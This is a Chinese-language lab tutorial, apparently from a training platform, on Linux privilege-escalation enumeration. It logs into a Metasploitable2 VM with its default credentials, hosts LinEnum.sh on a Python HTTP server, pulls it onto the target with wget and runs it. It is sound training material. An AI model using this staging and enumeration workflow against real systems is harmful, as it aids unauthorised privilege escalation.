使用Nmap探索Linux提权工具与实战方法

{"position":0,"title":"介绍","layout":"doc-fullscreen","text":"## 介绍\n\n在本实验中，我们将学习并实践两款最常用的 Linux 权限提升自动化工具——LinEnum 和 linux-exploit-suggester。实验目标是帮助你了解如何高效使用这些工具，从而在渗透测试或安全评估过程中更快地完成权限提升信息收集与分析。熟练掌握这类 Linux 提权工具，能够显著节省排查时间与操作成本，让你把更多精力集中在理解权限提升的核心原理、利用思路与实战方法上。\n","need_verify":false,"has_solution":false},{"position":1,"title":"环境搭建","layout":"doc-workbench-split","text":"## 环境搭建\n\n在这一步中，我们将配置并启动 Metasploitable2 虚拟机，作为本次实验的目标 Linux 系统。请按照以下步骤启动虚拟机并建立连接：\n\n在当前实验环境中，Metasploitable2 虚拟机已经**预先配置完成**。你只需要依照下面的流程启动目标主机并连接即可：\n\n1. 打开终端并运行以下命令，启动 Metasploitable2 虚拟机：\n\n ```bash\n sudo virsh start Metasploitable2\n ```\n\n2. 等待 1 到 2 分钟，直到虚拟机完全启动并处于可访问状态。\n\n3. 确认主机能够成功 ping 通 Metasploitable2 的 IP 地址（192.168.122.102）。\n\n4. 使用以下命令通过 SSH 连接到 Metasploitable2 虚拟机：\n\n ```bash\n ssh msfadmin@192.168.122.102\n ```\n\n 首次连接时，系统会提示你确认主机真实性。输入 `yes` 并按下 `Enter` 继续。\n\n 随后在密码提示处输入 `msfadmin` 账户的密码：\n\n```plaintext\nmsfadmin\n```\n\n验证成功后，你将获得一个 Metasploitable2 虚拟机中的低权限 shell 会话，这也是后续进行 Linux 权限提升枚举的起点。\n\nLinEnum 是一款非常实用的 Linux 枚举脚本，能够自动化收集系统中与权限提升相关的重要信息。按照以下步骤，在 Metasploitable2 虚拟机上下载并使用 LinEnum：\n\n1. 在你的主机上打开终端，并切换到 `/tmp` 目录：\n\n```bash\ncd /tmp\n```\n\n项目的 `/tmp` 目录中已经提供了一个名为 `LinEnum.sh` 的脚本文件。\n\n2. 在 `/tmp` 目录中启动一个 Python HTTP 服务器，用于托管 LinEnum 脚本，方便目标主机下载：\n\n```bash\npython3 -m http.server 8000\n```\n\n3. 在 `Metasploitable2 VM` 上，进入 `/tmp` 目录，并使用 `wget` 从主机上的 Python HTTP 服务器下载 LinEnum 脚本：\n\n导航到 `/tmp` 目录：\n\n```bash\ncd /tmp\n```\n\n```bash\nwget 192.168.122.1:8000/LinEnum.sh -P /tmp\n```\n\n4. 为 LinEnum 脚本添加可执行权限：chmod +x LinEnum.sh\n\n5. 执行 LinEnum 脚本，并将输出结果重定向到文件中，以便后续分析和排查：\n\n```bash\nLinEnum.sh > linenum_output.txt\n```\n\nLinEnum 会自动执行一系列安全检查并枚举系统信息，同时以黄色文本高亮显示潜在漏洞、弱配置或可疑权限设置。这些高亮内容通常是 Linux 提权过程中最值得重点关注的部分，因为它们往往就是后续权限提升利用的关键切入点。"}